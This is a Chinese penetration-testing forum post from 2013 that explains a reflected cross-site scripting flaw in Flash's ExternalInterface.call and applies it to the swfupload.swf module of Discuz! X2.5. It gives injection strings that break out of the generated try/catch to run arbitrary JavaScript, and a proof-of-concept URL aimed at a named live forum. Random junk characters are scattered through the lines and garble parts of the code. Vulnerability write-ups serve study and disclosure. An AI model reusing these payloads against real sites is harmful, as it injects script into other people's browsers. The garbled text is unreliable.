中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
' C) G/ n1 r* S" [6 {8 k% g
# n5 W7 Q4 ?5 Eflash.external.ExternalInterface.call($methodName, $parameter)
* ~" e- W) R  L0 k, [1 K在浏览器中执行的是
( h; m+ V  t8 ^) t( m1 Y$ _% W: _( `3 I* ]5 Y* B/ _5 N
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}6 s2 x7 \4 ?) F
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如) O( t: }. e/ P8 A6 l* Q

3 c. b0 V; r( S  E" z% Q; Qflash.external.ExternalInterface.call("object."+$methodName, $parameter)+ g) h$ u0 V: @& J! _5 g6 ~
$methodName = a())}catch(e){alert(/xss/)}//
3 o4 w3 d& Y9 b) K( h: ?结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。8 a4 A0 Q* s% A4 |6 l8 _7 I+ g

( Y+ K/ q' n# `: Atry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
5 s% e4 k5 ~8 V# G2 [( X
! g3 K( Z" }& M( D0 E6 g这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )& Y; [) V; w* {5 v' a1 D/ H  I
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
: z! ?0 s/ w# I/ b" q+ i6 |
% a- m& u+ K9 }, Y$ }; Q9 S" V# `. `

& x7 \* E5 B( O; F6 _6 _漏洞文件:upload\static\image\common\swfupload.swf
& x. Z% k2 Q( n! |7 i
7 }& y3 G  D. l' o6 Q, L; _原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
5 u4 g# p+ q" U1 F
( L$ y. q0 E+ i/ ^1 [% x  ]3 K  L  w# P* e7 q' _: u
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
* \* c& U2 C' n& k- d- v$ p. J$ x6 `( b/ F" v
2 j, |) D$ ?; M





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2